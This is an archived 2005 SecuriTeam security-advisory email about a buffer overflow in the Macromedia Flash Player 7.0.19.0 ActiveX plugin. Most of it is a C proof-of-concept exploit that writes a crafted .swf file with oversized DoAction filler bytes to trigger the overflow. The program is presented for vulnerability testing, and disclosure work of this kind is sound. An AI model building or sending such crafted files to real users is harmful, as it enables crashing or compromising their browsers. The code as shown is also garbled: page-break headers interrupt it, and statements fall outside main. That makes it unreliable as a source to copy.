

[EXPL] Macromedia Flash Plugin Buffer Overflow (Exploit, flash.ocx)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-11/0069.html>

From: SecuriTeam (*support_at_securiteam.com*)
Date: 11/21/05

To: list@securiteam.com
Date: 21 Nov 2005 16:20:23 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Macromedia Flash Plugin Buffer Overflow (Exploit, flash.ocx)

SUMMARY

<<http://www.macromedia.com/software/flash/>> Macromedia Flash, "or simply Flash, refers to both a multimedia authoring program and the Macromedia Flash Player, written and distributed by <<http://www.macromedia.com/>> Macromedia".

A buffer overflow vulnerability discovered in Macromedia Flash Plugin ActiveX, the following exploit code can used to determine whether your system is vulnerable or not.

DETAILS

Vulnerable Systems:

- * Macromedia Flash Player version 7.0.19.0

Exploit:

```
/*  
* *****  
* Macromedia Flash Plugin – Buffer Overflow in flash.ocx *  
* *****
```

Securiteam: [EXPL] Macromedia Flash Plugin Buffer Overflow (Exploit, flash.ocx)

```
* Version: v7.0.19.0 *
* PoC coded by: BassReFLeX *
* Date: 11 Oct 2005 *
* ***** *
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void usage(char* file);

/*
<swf>
..
</swf>
*/
char SWF[] = "<swf>";
char SWF_[] = "</swf>";

//[SetBackgroundColor]
char SetBackgroundColor[] = "\x43\x02\xff\x00\x00";

//[DoAction] 1 pwn j00r 455!
char DoAction[] =
"\x3c\x03\x9b\x08\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x40\x00"
"\x42\x42\x42\x42\x42\x42\x42\x42\x00\x43\x43\x43\x43\x43\x43"
"\x43\x00\x44\x44\x44\x44\x44\x44\x44\x00\x45\x45\x45\x45"
"\x45\x45\x45\x00\x46\x46\x46\x46\x46\x46\x46\x00\x00";

//[ShowFrame]
char ShowFrame[] = "\x40\x00";

//[End]
char End[] = "\x00\x00";

int main(int argc,char* argv[])
{
system("cls");
printf("\n* ***** *");
printf("\n* Macromedia Flash Plugin – Buffer Overflow in flash.ocx *");
printf("\n* ***** *");
printf("\n* Version: v7.0.19.0 *");
printf("\n* Date: 11 Oct 2005 *");
printf("\n* ProofOfConcept(POC) coded by: BassReFLeX *");
printf("\n* ***** *");

if ( argc!=2 )
{
usage(argv[0]);
}
}
```

Securiteam: [EXPL] Macromedia Flash Plugin Buffer Overflow (Exploit, flash.ocx)

```
FILE *f;
f = fopen(argv[1], "w");
if ( !f )
{
printf("\nFile couldn't open!");
exit(1);
}

printf("\n\nWriting crafted .swf file . . .");
fwrite(SWF,1,sizeof(SWF),f);
fwrite("\n",1,1,f);
fwrite(SetBackgroundColor,1,sizeof(SetBackgroundColor),f);
fwrite("\n",1,1,f);
fwrite(DoAction,1,sizeof(DoAction),f);
fwrite("\n",1,1,f);
fwrite(ShowFrame,1,sizeof(ShowFrame),f);
fwrite("\n",1,1,f);
fwrite(End,1,sizeof(End),f);
fwrite("\n",1,1,f);
fwrite(SWF_,1,sizeof(SWF_),f);
printf("\nFile created successfully!");
printf("\nFilename: %s",argv[1]);
return 0;
}

void usage(char* file)
{
printf("\n\n");
printf("\n%s <Filename>",file);
printf("\n\nFilename = .swf crafted file. Eg: overflow.swf");
exit(1);
}
```

ADDITIONAL INFORMATION

The information has been provided by BassReFLeX.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.